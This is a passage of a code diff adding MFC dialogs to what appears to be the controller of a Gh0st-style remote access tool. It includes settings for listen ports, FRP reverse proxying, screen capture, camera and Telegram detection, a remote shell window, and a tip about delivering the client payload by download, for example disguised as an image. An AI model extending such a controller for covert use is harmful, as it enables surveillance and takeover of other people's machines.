ScreenToClient(&rc);
|
||||
|
||||
// 重新设置控件大小
|
||||
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
|
||||
}
|
||||
44
server/2015Remote/ServicesDlg.h
Normal file
44
server/2015Remote/ServicesDlg.h
Normal file
@@ -0,0 +1,44 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// CServicesDlg 对话框
|
||||
|
||||
class CServicesDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CServicesDlg)
|
||||
|
||||
public:
|
||||
CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
|
||||
virtual ~CServicesDlg();
|
||||
|
||||
int ShowServicesList(void);
|
||||
void OnReceiveComplete(void);
|
||||
void ServicesConfig(BYTE bCmd);
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_SERVICES };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrl m_ControlList;
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
void DeleteAllItems();
|
||||
void SortByColumn(int nColumn);
|
||||
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
|
||||
CStatic m_ServicesCount;
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnServicesAuto();
|
||||
afx_msg void OnServicesManual();
|
||||
afx_msg void OnServicesStop();
|
||||
afx_msg void OnServicesStart();
|
||||
afx_msg void OnServicesReflash();
|
||||
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
};
|
||||
359
server/2015Remote/SettingDlg.cpp
Normal file
359
server/2015Remote/SettingDlg.cpp
Normal file
@@ -0,0 +1,359 @@
|
||||
// SettingDlg.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "SettingDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "client/CursorInfo.h"
|
||||
#include "common/location.h"
|
||||
|
||||
// CSettingDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSettingDlg, CDialog)
|
||||
|
||||
CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent)
|
||||
: CDialogLang(CSettingDlg::IDD, pParent)
|
||||
, m_nListenPort("6543")
|
||||
, m_nMax_Connect(0)
|
||||
, m_sScreenCapture(_T("GDI"))
|
||||
, m_sScreenCompress(_T("RGBA->RGB565"))
|
||||
, m_nReportInterval(5)
|
||||
, m_sSoftwareDetect(_T("摄像头"))
|
||||
, m_sPublicIP(_T(""))
|
||||
, m_sUdpOption(_T("UDP"))
|
||||
, m_nFrpPort(7000)
|
||||
, m_sFrpToken(_T(""))
|
||||
, m_nFileServerPort(-1)
|
||||
{
|
||||
g_2015RemoteDlg = pParent;
|
||||
}
|
||||
|
||||
CSettingDlg::~CSettingDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort);
|
||||
DDV_MaxChars(pDX, m_nListenPort, 32);
|
||||
DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect);
|
||||
DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton);
|
||||
DDX_Control(pDX, IDC_COMBO_SCREEN_CAPTURE, m_ComboScreenCapture);
|
||||
DDX_CBString(pDX, IDC_COMBO_SCREEN_CAPTURE, m_sScreenCapture);
|
||||
DDV_MaxChars(pDX, m_sScreenCapture, 32);
|
||||
DDX_Control(pDX, IDC_COMBO_SCREEN_COMPRESS, m_ComboScreenCompress);
|
||||
DDX_CBString(pDX, IDC_COMBO_SCREEN_COMPRESS, m_sScreenCompress);
|
||||
DDX_Control(pDX, IDC_EDIT_REPORTINTERVAL, m_EditReportInterval);
|
||||
DDX_Text(pDX, IDC_EDIT_REPORTINTERVAL, m_nReportInterval);
|
||||
DDV_MinMaxInt(pDX, m_nReportInterval, 0, 3600);
|
||||
DDX_Control(pDX, IDC_COMBO_SOFTWAREDETECT, m_ComboSoftwareDetect);
|
||||
DDX_CBString(pDX, IDC_COMBO_SOFTWAREDETECT, m_sSoftwareDetect);
|
||||
DDV_MaxChars(pDX, m_sSoftwareDetect, 256);
|
||||
DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP);
|
||||
DDV_MaxChars(pDX, m_sPublicIP, 100);
|
||||
DDX_Control(pDX, IDC_EDIT_UDP_OPTION, m_EditUdpOption);
|
||||
DDX_Text(pDX, IDC_EDIT_UDP_OPTION, m_sUdpOption);
|
||||
DDV_MaxChars(pDX, m_sUdpOption, 24);
|
||||
DDX_Control(pDX, IDC_EDIT_FRP_PORT, m_EditFrpPort);
|
||||
DDX_Text(pDX, IDC_EDIT_FRP_PORT, m_nFrpPort);
|
||||
DDV_MinMaxInt(pDX, m_nFrpPort, 1, 65535);
|
||||
DDX_Control(pDX, IDC_EDIT_FRP_TOKEN, m_EditFrpToken);
|
||||
DDX_Text(pDX, IDC_EDIT_FRP_TOKEN, m_sFrpToken);
|
||||
DDV_MaxChars(pDX, m_sFrpToken, 24);
|
||||
DDX_Control(pDX, IDC_COMBO_VIDEO_WALL, m_ComboVideoWall);
|
||||
DDX_Control(pDX, IDC_EDIT_FILESERVER_PORT, m_EditFileServerPort);
|
||||
DDX_Text(pDX, IDC_EDIT_FILESERVER_PORT, m_nFileServerPort);
|
||||
DDV_MinMaxInt(pDX, m_nFileServerPort, -1, 65535);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_SETTINGAPPLY, &CSettingDlg::OnBnClickedButtonSettingapply)
|
||||
ON_EN_CHANGE(IDC_EDIT_PORT, &CSettingDlg::OnEnChangeEditPort)
|
||||
ON_EN_CHANGE(IDC_EDIT_MAX, &CSettingDlg::OnEnChangeEditMax)
|
||||
ON_BN_CLICKED(IDC_RADIO_ALL_SCREEN, &CSettingDlg::OnBnClickedRadioAllScreen)
|
||||
ON_BN_CLICKED(IDC_RADIO_MAIN_SCREEN, &CSettingDlg::OnBnClickedRadioMainScreen)
|
||||
ON_BN_CLICKED(IDC_RADIO_FRP_OFF, &CSettingDlg::OnBnClickedRadioFrpOff)
|
||||
ON_BN_CLICKED(IDC_RADIO_FRP_ON, &CSettingDlg::OnBnClickedRadioFrpOn)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_PUBLIC_IP, &CSettingDlg::OnEnKillfocusEditPublicIp)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CSettingDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CSettingDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_SET_LISTEN_PORT, _TR("监听端口:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_MAX_CONN, _TR("最大连接数:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_TIP1, _TR("操作提示: 1.监听端口支持填写多个,用英文分号分隔;程序同时监听TCP和UDP,且支持基于UDP的KCP;"));
|
||||
SetDlgItemText(IDC_STATIC_SET_TIP2, _TR("操作提示: 2.如果被控端跨网、地区或国家,务必设置公网IP;勾选FRP反向代理并设置服务端口和 token;"));
|
||||
SetDlgItemText(IDC_STATIC_SET_TIP3, _TR("操作提示: 3.如果以下载的方式提供上线载荷 (如图片),必须设置Web端口,受管机器上线时会下载载荷。"));
|
||||
SetDlgItemText(IDC_STATIC_SET_SCREEN_CAP, _TR("屏幕截图方法:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_IMG_COMP, _TR("图像压缩方法:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_REPORT_INT, _TR("上报间隔:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_SW_DETECT, _TR("软件检测:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_MULTI_MON, _TR("多显示器支持:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_UDP_PARAM, _TR("UDP协议参数:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_FRP_PROXY, _TR("FRP 代理:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_FRP_PORT, _TR("服务端口:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_TOKEN, _TR("token:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_VIDEO_WALL, _TR("多屏上墙:"));
|
||||
SetDlgItemText(IDC_STATIC_SET_DL_PORT, _TR("Web端口:"));
|
||||
SetDlgItemText(IDC_GROUP_SET_GENERAL, _TR("常规设置"));
|
||||
SetDlgItemText(IDC_GROUP_SET_DESKTOP, _TR("桌面管理"));
|
||||
SetDlgItemText(IDC_GROUP_SET_PARAMS, _TR("参数设置"));
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("设置"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
SetDlgItemText(IDC_BUTTON_SETTINGAPPLY, _TR("应用"));
|
||||
SetDlgItemText(IDC_RADIO_FRP_OFF, _TR("否"));
|
||||
SetDlgItemText(IDC_RADIO_FRP_ON, _TR("是"));
|
||||
SetDlgItemText(IDC_RADIO_ALL_SCREEN, _TR("否"));
|
||||
SetDlgItemText(IDC_RADIO_MAIN_SCREEN, _TR("是"));
|
||||
|
||||
// 检测本机 IP 并设置标签和提示
|
||||
std::string localPublicIP, localPrivateIP;
|
||||
g_2015RemoteDlg->m_IPConverter->GetLocalIPs(localPublicIP, localPrivateIP);
|
||||
std::string frpAutoServer = THIS_CFG.GetStr("frp_auto", "server", "");
|
||||
BOOL frpEnabled = THIS_CFG.GetInt("frp", "UseFrp");
|
||||
std::string savedMaster = THIS_CFG.GetStr("settings", "master", "");
|
||||
|
||||
if (!localPublicIP.empty()) {
|
||||
// 场景 1: 本机有公网 IP
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
m_sPublicIP = savedMaster.empty() ? localPublicIP.c_str() : savedMaster.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
|
||||
} else if (!frpAutoServer.empty()) {
|
||||
// 场景 2: 上级配置了 FRP
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
m_sPublicIP = frpAutoServer.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
|
||||
} else if (frpEnabled) {
|
||||
// 场景 3: 启用了本地 FRP(FRP服务器应有公网IP)
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
m_sPublicIP = savedMaster.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _TR("该地址必须为FRP代理服务器IP"));
|
||||
} else {
|
||||
// 场景 4: 无公网,无 FRP(仅限局域网)
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("内网地址:"));
|
||||
m_sPublicIP = savedMaster.empty() ? localPrivateIP.c_str() : savedMaster.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _TR("跨网使用请配置 FRP 反向代理"));
|
||||
}
|
||||
m_sOriginalMaster = m_sPublicIP; // 缓存原始值,用于检测修改
|
||||
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||
std::map<std::string, std::string> udpMap = { {"UDP", "UDP"}, {"KCP", "KCP"} };
|
||||
std::string method = THIS_CFG.GetStr("settings", "UDPOption", "UDP").c_str();
|
||||
m_sUdpOption = udpMap.find(method) == udpMap.end() ? "UDP" : udpMap[method].c_str();
|
||||
|
||||
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
|
||||
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
||||
|
||||
m_nListenPort = nPort.c_str();
|
||||
|
||||
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
|
||||
switch (n) {
|
||||
case ALGORITHM_GRAY:
|
||||
m_sScreenCompress = _L(_T("灰度图像传输"));
|
||||
break;
|
||||
case ALGORITHM_DIFF:
|
||||
m_sScreenCompress = _L(_T("屏幕差异算法"));
|
||||
break;
|
||||
case ALGORITHM_H264:
|
||||
m_sScreenCompress = _L(_T("H264压缩算法"));
|
||||
break;
|
||||
case ALGORITHM_RGB565:
|
||||
m_sScreenCompress = _L(_T("RGBA->RGB565"));
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_GRAY, "灰度图像传输");
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_DIFF, "屏幕差异算法");
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_H264, "H264压缩算法");
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_RGB565, "RGBA->RGB565");
|
||||
|
||||
m_ComboScreenCapture.InsertStringL(0, "GDI");
|
||||
m_ComboScreenCapture.InsertStringL(1, "DXGI");
|
||||
m_ComboScreenCapture.InsertStringL(2, "VIRTUAL");
|
||||
m_sScreenCapture = DXGI==1 ? "DXGI" : (DXGI == 2 ? "VIRTUAL" : "GDI");
|
||||
|
||||
m_ComboSoftwareDetect.InsertStringL(SOFTWARE_CAMERA, "摄像头");
|
||||
m_ComboSoftwareDetect.InsertStringL(SOFTWARE_TELEGRAM, "电报");
|
||||
auto str = THIS_CFG.GetStr("settings", "ReportInterval", "5");
|
||||
m_nReportInterval = atoi(str.c_str());
|
||||
n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
||||
switch (n) {
|
||||
case SOFTWARE_CAMERA:
|
||||
m_sSoftwareDetect = _L(_T("摄像头"));
|
||||
break;
|
||||
case SOFTWARE_TELEGRAM:
|
||||
m_sSoftwareDetect = _L(_T("电报"));
|
||||
break;
|
||||
default:
|
||||
m_sSoftwareDetect = _L(_T("摄像头"));
|
||||
break;
|
||||
}
|
||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||
((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!all);
|
||||
((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->SetCheck(all);
|
||||
|
||||
BOOL frp = THIS_CFG.GetInt("frp", "UseFrp");
|
||||
((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->SetCheck(!frp);
|
||||
((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->SetCheck(frp);
|
||||
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(frp);
|
||||
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(frp);
|
||||
#ifndef _WIN64
|
||||
GetDlgItem(IDC_RADIO_FRP_OFF)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_RADIO_FRP_ON)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(FALSE);
|
||||
#endif
|
||||
m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||||
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
|
||||
m_nFileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||
|
||||
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
|
||||
m_ComboVideoWall.InsertStringL(0, "无");
|
||||
m_ComboVideoWall.InsertStringL(1, "2 x 2");
|
||||
m_ComboVideoWall.InsertStringL(2, "3 x 3");
|
||||
m_ComboVideoWall.InsertStringL(3, "4 x 4");
|
||||
m_ComboVideoWall.InsertStringL(4, "5 x 5");
|
||||
if (size < 1 || size > 5) size = 1;
|
||||
m_ComboVideoWall.SetCurSel(size-1);
|
||||
|
||||
UpdateData(FALSE);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer());
|
||||
THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString());
|
||||
THIS_CFG.SetStr("settings", "UDPOption", m_sUdpOption.GetString());
|
||||
|
||||
int n = m_ComboScreenCapture.GetCurSel();
|
||||
THIS_CFG.SetInt("settings", "DXGI", n);
|
||||
|
||||
n = m_ComboScreenCompress.GetCurSel();
|
||||
THIS_CFG.SetInt("settings", "ScreenCompress", n);
|
||||
|
||||
THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);
|
||||
n = m_ComboSoftwareDetect.GetCurSel();
|
||||
THIS_CFG.SetInt("settings", "SoftwareDetect", n);
|
||||
|
||||
BOOL all = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck();
|
||||
THIS_CFG.SetInt("settings", "MultiScreen", all);
|
||||
|
||||
BOOL frp = ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->GetCheck();
|
||||
THIS_CFG.SetInt("frp", "UseFrp", frp);
|
||||
THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
|
||||
THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());
|
||||
THIS_CFG.SetInt("settings", "WebSvrPort", m_nFileServerPort);
|
||||
if (m_nFileServerPort > 0 && THIS_CFG.GetStr("settings", "Authorization").empty()) {
|
||||
MessageBoxL("Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!", "提示", MB_ICONWARNING);
|
||||
}
|
||||
|
||||
THIS_CFG.SetInt("settings", "VideoWallSize", m_ComboVideoWall.GetCurSel()+1);
|
||||
|
||||
m_ApplyButton.EnableWindow(FALSE);
|
||||
m_ApplyButton.ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnEnChangeEditPort()
|
||||
{
|
||||
// TODO: 如果该控件是 RICHEDIT 控件,它将不
|
||||
// 发送此通知,除非重写 __super::OnInitDialog()
|
||||
// 函数并调用 CRichEditCtrl().SetEventMask(),
|
||||
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
|
||||
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
|
||||
// 给Button添加变量
|
||||
m_ApplyButton.ShowWindow(SW_NORMAL);
|
||||
m_ApplyButton.EnableWindow(TRUE);
|
||||
}
|
||||
|
||||
void CSettingDlg::OnEnChangeEditMax()
|
||||
{
|
||||
// TODO: 如果该控件是 RICHEDIT 控件,它将不
|
||||
// 发送此通知,除非重写 __super::OnInitDialog()
|
||||
// 函数并调用 CRichEditCtrl().SetEventMask(),
|
||||
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
|
||||
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
HWND hApplyButton = ::GetDlgItem(m_hWnd,IDC_BUTTON_SETTINGAPPLY);
|
||||
|
||||
::ShowWindow(hApplyButton,SW_NORMAL);
|
||||
::EnableWindow(hApplyButton,TRUE);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnOK()
|
||||
{
|
||||
OnBnClickedButtonSettingapply();
|
||||
|
||||
__super::OnOK();
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedRadioAllScreen()
|
||||
{
|
||||
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->GetCheck();
|
||||
((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->SetCheck(!b);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedRadioMainScreen()
|
||||
{
|
||||
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck();
|
||||
((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!b);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedRadioFrpOff()
|
||||
{
|
||||
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->GetCheck();
|
||||
((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->SetCheck(!b);
|
||||
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(!b);
|
||||
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(!b);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedRadioFrpOn()
|
||||
{
|
||||
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->GetCheck();
|
||||
((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->SetCheck(!b);
|
||||
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(b);
|
||||
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(b);
|
||||
}
|
||||
|
||||
void CSettingDlg::OnEnKillfocusEditPublicIp()
|
||||
{
|
||||
auto bindType = THIS_CFG.GetInt("settings", "BindType", 0);
|
||||
if (bindType == 1 && !THIS_CFG.GetStr("settings", "Password").empty()) {
|
||||
GetDlgItemText(IDC_EDIT_PUBLIC_IP, m_sPublicIP);
|
||||
if (m_sPublicIP != m_sOriginalMaster) {
|
||||
if (IDYES == MessageBox(_TR("修改绑定的公网地址将导致授权失效! 是否继续?"),
|
||||
_TR("提示"), MB_ICONWARNING | MB_YESNO)) {
|
||||
// 用户确认修改,更新缓存值避免重复警告
|
||||
m_sOriginalMaster = m_sPublicIP;
|
||||
} else {
|
||||
// 用户取消,恢复原值
|
||||
m_sPublicIP = m_sOriginalMaster;
|
||||
SetDlgItemText(IDC_EDIT_PUBLIC_IP, m_sPublicIP);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
58
server/2015Remote/SettingDlg.h
Normal file
58
server/2015Remote/SettingDlg.h
Normal file
@@ -0,0 +1,58 @@
|
||||
#pragma once
|
||||
#include "afxwin.h"
|
||||
#include "LangManager.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
|
||||
// CSettingDlg 对话框
|
||||
|
||||
class CSettingDlg : public CDialogLang
|
||||
{
|
||||
DECLARE_DYNAMIC(CSettingDlg)
|
||||
|
||||
public:
|
||||
CSettingDlg(CMy2015RemoteDlg* pParent); // 标准构造函数
|
||||
virtual ~CSettingDlg();
|
||||
CMy2015RemoteDlg* g_2015RemoteDlg = nullptr;
|
||||
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_SET };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CString m_nListenPort;
|
||||
UINT m_nMax_Connect;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedButtonSettingapply();
|
||||
afx_msg void OnEnChangeEditPort();
|
||||
afx_msg void OnEnChangeEditMax();
|
||||
CButton m_ApplyButton;
|
||||
virtual void OnOK();
|
||||
CComboBox m_ComboScreenCapture;
|
||||
CString m_sScreenCapture;
|
||||
CComboBox m_ComboScreenCompress;
|
||||
CString m_sScreenCompress;
|
||||
CEdit m_EditReportInterval;
|
||||
int m_nReportInterval;
|
||||
CComboBox m_ComboSoftwareDetect;
|
||||
CString m_sSoftwareDetect;
|
||||
CEdit m_EditPublicIP;
|
||||
CString m_sPublicIP;
|
||||
afx_msg void OnBnClickedRadioAllScreen();
|
||||
afx_msg void OnBnClickedRadioMainScreen();
|
||||
CEdit m_EditUdpOption;
|
||||
CString m_sUdpOption;
|
||||
afx_msg void OnBnClickedRadioFrpOff();
|
||||
afx_msg void OnBnClickedRadioFrpOn();
|
||||
CEdit m_EditFrpPort;
|
||||
int m_nFrpPort;
|
||||
CEdit m_EditFrpToken;
|
||||
CString m_sFrpToken;
|
||||
CComboBox m_ComboVideoWall;
|
||||
CEdit m_EditFileServerPort;
|
||||
int m_nFileServerPort;
|
||||
afx_msg void OnEnKillfocusEditPublicIp();
|
||||
CString m_sOriginalMaster; // 缓存原始公网地址,用于检测修改
|
||||
};
|
||||
304
server/2015Remote/ShellDlg.cpp
Normal file
304
server/2015Remote/ShellDlg.cpp
Normal file
@@ -0,0 +1,304 @@
|
||||
// ShellDlg.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ShellDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
#define EDIT_MAXLENGTH 30000
|
||||
|
||||
BEGIN_MESSAGE_MAP(CAutoEndEdit, CEdit)
|
||||
ON_WM_CHAR()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags)
|
||||
{
|
||||
// 获取当前光标位置
|
||||
int nStart, nEnd;
|
||||
GetSel(nStart, nEnd);
|
||||
|
||||
// 如果光标在最小可编辑位置之前,移动到末尾
|
||||
if (nStart < (int)m_nMinEditPos) {
|
||||
int nLength = GetWindowTextLength();
|
||||
SetSel(nLength, nLength);
|
||||
}
|
||||
if (nStart == 30000){
|
||||
static int hasNotify = 0;
|
||||
if (hasNotify++ % 10 == 0) {
|
||||
THIS_APP->PostNotify(_TR("需要清理终端"), _TR("达到字符数限制时,需执行\"clear\"命令"));
|
||||
}
|
||||
}
|
||||
|
||||
// 调用父类处理输入字符
|
||||
CEdit::OnChar(nChar, nRepCnt, nFlags);
|
||||
}
|
||||
|
||||
// CShellDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
|
||||
|
||||
CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL)
|
||||
{
|
||||
m_brBackground.CreateSolidBrush(RGB(0, 0, 0)); // 黑色背景
|
||||
}
|
||||
|
||||
CShellDlg::~CShellDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CShellDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT, m_Edit);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_CTLCOLOR()
|
||||
ON_WM_SIZE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CShellDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CShellDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
m_nCurSel = 0;
|
||||
m_nReceiveLength = 0;
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
SetIcon(m_hIcon,FALSE);
|
||||
|
||||
CString str;
|
||||
str.FormatL("%s - 远程终端", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
m_Edit.SetWindowTextA(">>");
|
||||
m_nCurSel = m_Edit.GetWindowTextLengthA();
|
||||
m_nReceiveLength = m_nCurSel;
|
||||
m_Edit.m_nMinEditPos = m_nReceiveLength; // 设置最小可编辑位置
|
||||
m_Edit.SetSel((int)m_nCurSel, (int)m_nCurSel);
|
||||
m_Edit.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
|
||||
m_Edit.SetLimitText(EDIT_MAXLENGTH);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
VOID CShellDlg::OnReceiveComplete()
|
||||
{
|
||||
if (m_ContextObject==NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
AddKeyBoardData();
|
||||
m_nReceiveLength = m_Edit.GetWindowTextLength();
|
||||
m_Edit.m_nMinEditPos = m_nReceiveLength; // 更新最小可编辑位置
|
||||
}
|
||||
|
||||
|
||||
#include <regex>
|
||||
std::string removeAnsiCodes(const std::string& input)
|
||||
{
|
||||
// Match all common ANSI escape sequences:
|
||||
// CSI sequences: \x1B[...X where X is a letter
|
||||
// OSC sequences: \x1B]...(\x07|\x1B\\)
|
||||
// Simple escapes: \x1B[=>] or single char after \x1B
|
||||
std::regex ansi_regex(
|
||||
"\x1B\\[[0-9;?]*[A-Za-z]" // CSI: \x1B[...m, \x1B[...H, \x1B[...J, etc.
|
||||
"|\x1B\\][^\x07]*\x07" // OSC: \x1B]...\x07
|
||||
"|\x1B\\][^\x1B]*\x1B\\\\" // OSC: \x1B]...\x1B\\ [*]
|
||||
"|\x1B[=>]" // \x1B= or \x1B>
|
||||
"|\x1B[78]" // Save/restore cursor
|
||||
"|\x1B\\([AB0-2]" // Character set selection
|
||||
);
|
||||
return std::regex_replace(input, ansi_regex, "");
|
||||
}
|
||||
|
||||
// UTF-8 → ANSI(GBK) 转换,如果输入不是合法 UTF-8 则原样返回
|
||||
static std::string Utf8ToLocal(const std::string& text)
|
